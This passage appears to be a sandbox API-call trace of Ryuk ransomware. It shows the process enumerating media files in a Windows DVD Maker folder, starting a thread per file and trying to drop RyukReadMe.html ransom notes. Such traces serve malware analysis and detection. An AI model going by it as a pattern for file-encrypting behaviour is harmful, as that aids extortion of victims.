	[0171.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4
	[0171.680] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.680] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0171.680] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10
	[0171.683] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.683] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0171.684] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0
	[0171.687] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.687] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0171.688] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14
	[0171.690] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.691] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0171.691] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18
	[0171.878] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.879] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x76, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0171.879] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c
	[0171.883] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.884] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x76, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1
	[0171.884] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20
	[0171.886] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.887] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x76, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0171.887] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24
	[0171.889] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.890] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x76, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1
	[0171.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28
	[0171.893] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.893] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x76, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1
	[0171.893] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c
	[0171.896] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.897] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x76, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1
	[0171.897] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30
	[0171.900] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.900] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x76, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1
	[0171.900] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0171.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa34
	[0171.903] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.903] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x76, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0
	[0171.904] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0172.641] SetLastError (dwErrCode=0x0) 
	[0172.641] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.652] GetLastError () returned 0x5
	[0172.652] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0172.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.652] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1
	[0172.652] SetLastError (dwErrCode=0x0) 
	[0172.652] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.653] GetLastError () returned 0x5
	[0172.653] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0172.653] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0172.838] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0172.839] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1
	[0172.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38
	[0172.842] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.843] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1
	[0172.843] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c
	[0172.845] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.845] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1
	[0172.846] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40
	[0172.848] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.849] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x76, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1
	[0172.849] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44
	[0172.851] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.852] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x76, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0172.852] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48
	[0172.855] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.856] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x76, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1
	[0172.856] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c
	[0172.944] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.945] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1
	[0172.945] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50
	[0172.947] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.948] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x76, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1
	[0172.948] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54
	[0172.950] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.951] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1
	[0172.951] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58
	[0172.953] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.953] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1
	[0172.953] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c
	[0172.956] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.957] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1
	[0172.957] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60
	[0172.960] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
